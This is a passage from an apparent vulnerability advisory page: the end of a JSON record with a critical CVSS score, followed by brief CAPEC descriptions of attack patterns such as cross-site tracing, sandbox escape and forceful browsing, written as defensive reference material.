}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
No mitigation information available for this CWE.
CAPEC-1: Accessing Functionality Not Properly Constrained by ACLs
In applications, particularly web applications, access to functionality is mitigated by an authorization framework. This framework maps Access Control Lists (ACLs) to elements of the application's functionality; particularly URL's for web apps. In the case that the administrator failed to specify an ACL for a particular element, an attacker may be able to access it with impunity. An attacker with the ability to access functionality not properly constrained by ACLs can obtain sensitive information and possibly compromise the entire application. Such an attacker can access resources that must be available only to users at a higher privilege level, can access management sections of the application, or can run queries for data that they otherwise not supposed to.
CAPEC-107: Cross Site Tracing
Cross Site Tracing (XST) enables an adversary to steal the victim's session cookie and possibly other authentication credentials transmitted in the header of the HTTP request when the victim's browser communicates to a destination system's web server.
CAPEC-127: Directory Indexing
An adversary crafts a request to a target that results in the target listing/indexing the content of a directory as output. One common method of triggering directory contents as output is to construct a request containing a path that terminates in a directory name rather than a file name since many applications are configured to provide a list of the directory's contents when such a request is received. An adversary can use this to explore the directory tree on a target as well as learn the names of files. This can often end up revealing test files, backup files, temporary files, hidden files, configuration files, user accounts, script contents, as well as naming conventions, all of which can be used by an attacker to mount additional attacks.
CAPEC-17: Using Malicious Files
An attack of this type exploits a system's configuration that allows an adversary to either directly access an executable file, for example through shell access; or in a possible worst case allows an adversary to upload a file and then execute it. Web servers, ftp servers, and message oriented middleware systems which have many integration points are particularly vulnerable, because both the programmers and the administrators must be in synch regarding the interfaces and the correct privileges for each interface.
CAPEC-20: Encryption Brute Forcing
An attacker, armed with the cipher text and the encryption algorithm used, performs an exhaustive (brute force) search on the key space to determine the key that decrypts the cipher text to obtain the plaintext.
CAPEC-22: Exploiting Trust in Client
An attack of this type exploits vulnerabilities in client/server communication channel authentication and data integrity. It leverages the implicit trust a server places in the client, or more importantly, that which the server believes is the client. An attacker executes this type of attack by communicating directly with the server where the server believes it is communicating only with a valid client. There are numerous variations of this type of attack.
CAPEC-237: Escaping a Sandbox by Calling Code in Another Language
The attacker may submit malicious code of another language to obtain access to privileges that were not intentionally exposed by the sandbox, thus escaping the sandbox. For instance, Java code cannot perform unsafe operations, such as modifying arbitrary memory locations, due to restrictions placed on it by the Byte code Verifier and the JVM. If allowed, Java code can call directly into native C code, which may perform unsafe operations, such as call system calls and modify arbitrary memory locations on their behalf. To provide isolation, Java does not grant untrusted code with unmediated access to native C code. Instead, the sandboxed code is typically allowed to call some subset of the pre-existing native code that is part of standard libraries.
CAPEC-36: Using Unpublished Interfaces or Functionality
An adversary searches for and invokes interfaces or functionality that the target system designers did not intend to be publicly available. If interfaces fail to authenticate requests, the attacker may be able to invoke functionality they are not authorized for.
CAPEC-477: Signature Spoofing by Mixing Signed and Unsigned Content
An attacker exploits the underlying complexity of a data structure that allows for both signed and unsigned content, to cause unsigned data to be processed as though it were signed data.
CAPEC-480: Escaping Virtualization
An adversary gains access to an application, service, or device with the privileges of an authorized or privileged user by escaping the confines of a virtualized environment. The adversary is then able to access resources or execute unauthorized code within the host environment, generally with the privileges of the user running the virtualized process. Successfully executing an attack of this type is often the first step in executing more complex attacks.
CAPEC-51: Poison Web Service Registry
SOA and Web Services often use a registry to perform look up, get schema information, and metadata about services. A poisoned registry can redirect (think phishing for servers) the service requester to a malicious service provider, provide incorrect information in schema or metadata, and delete information about service provider interfaces.
CAPEC-57: Utilizing REST's Trust in the System Resource to Obtain Sensitive Data
This attack utilizes a REST(REpresentational State Transfer)-style applications' trust in the system resources and environment to obtain sensitive data once SSL is terminated.
CAPEC-59: Session Credential Falsification through Prediction
This attack targets predictable session ID in order to gain privileges. The attacker can predict the session ID used during a transaction to perform spoofing and session hijacking.
CAPEC-65: Sniff Application Code
An adversary passively sniffs network communications and captures application code bound for an authorized client. Once obtained, they can use it as-is, or through reverse-engineering glean sensitive information or exploit the trust relationship between the client and server. Such code may belong to a dynamic update to the client, a patch being applied to a client component or any such interaction where the client is authorized to communicate with the server.
CAPEC-668: Key Negotiation of Bluetooth Attack (KNOB)
An adversary can exploit a flaw in Bluetooth key negotiation allowing them to decrypt information sent between two devices communicating via Bluetooth. The adversary uses an Adversary in the Middle setup to modify packets sent between the two devices during the authentication process, specifically the entropy bits. Knowledge of the number of entropy bits will allow the attacker to easily decrypt information passing over the line of communication.
CAPEC-74: Manipulating State
The adversary modifies state information maintained by the target software or causes a state transition in hardware. If successful, the target will use this tainted state and execute in an unintended manner.
State management is an important function within a software application. User state maintained by the application can include usernames, payment information, browsing history as well as application-specific contents such as items in a shopping cart. Manipulating user state can be employed by an adversary to elevate privilege, conduct fraudulent transactions or otherwise modify the flow of the application to derive certain benefits.
If there is a hardware logic error in a finite state machine, the adversary can use this to put the system in an undefined state which could cause a denial of service or exposure of secure data.
CAPEC-87: Forceful Browsing
An attacker employs forceful browsing (direct URL entry) to access portions of a website that are otherwise unreachable. Usually, a front controller or similar design pattern is employed to protect access to portions of a web application. Forceful browsing enables an attacker to access information, perform privileged operations and otherwise reach sections of the web application that have been improperly protected.